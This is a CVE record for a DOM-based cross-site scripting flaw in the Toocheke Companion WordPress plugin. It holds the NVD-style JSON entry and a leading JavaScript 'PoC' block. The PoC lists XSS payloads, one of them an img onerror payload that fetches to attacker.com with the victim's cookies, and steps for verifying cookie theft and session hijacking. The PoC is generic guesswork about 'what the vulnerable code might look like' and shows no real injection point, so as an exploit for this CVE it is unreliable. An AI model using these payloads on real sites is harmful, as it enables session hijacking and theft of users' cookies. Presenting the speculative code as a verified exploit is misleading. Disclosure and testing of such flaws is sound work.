CVE-2026-32403

// CVE-2026-32403 PoC - DOM-based XSS in Toocheke Companion // Attack vector: Inject JavaScript via URL fragment or parameters // Malicious URL construction const maliciousURL = 'https://vulnerable-site.com/?' + 'param=<script>alert(document.cookie)</script>'; // Alternative payload using img onerror const imgErrorPayload = 'https://vulnerable-site.com/?' + 'param=<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'; // DOM-based injection point example (what the vulnerable code might look like) // Vulnerable JavaScript code: // document.write(window.location.hash.substring(1)); // Attack: https://vulnerable-site.com/page#<script>alert(document.domain)</script> // Recommended testing approach: // 1. Identify injection points in plugin's JavaScript // 2. Test with various XSS payloads // 3. Verify cookie theft and session hijacking

{"cve": {"id": "CVE-2026-32403", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:56.490", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in toocheke Toocheke Companion toocheke-companion allows DOM-Based XSS.This issue affects Toocheke Companion: from n/a through <= 1.194."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en toocheke Toocheke Companion toocheke-companion permite XSS basado en DOM. Este problema afecta a Toocheke Companion: desde n/a hasta &lt;= 1.194."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/toocheke-companion/vulnerability/wordpress-toocheke-companion-plugin-1-194-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}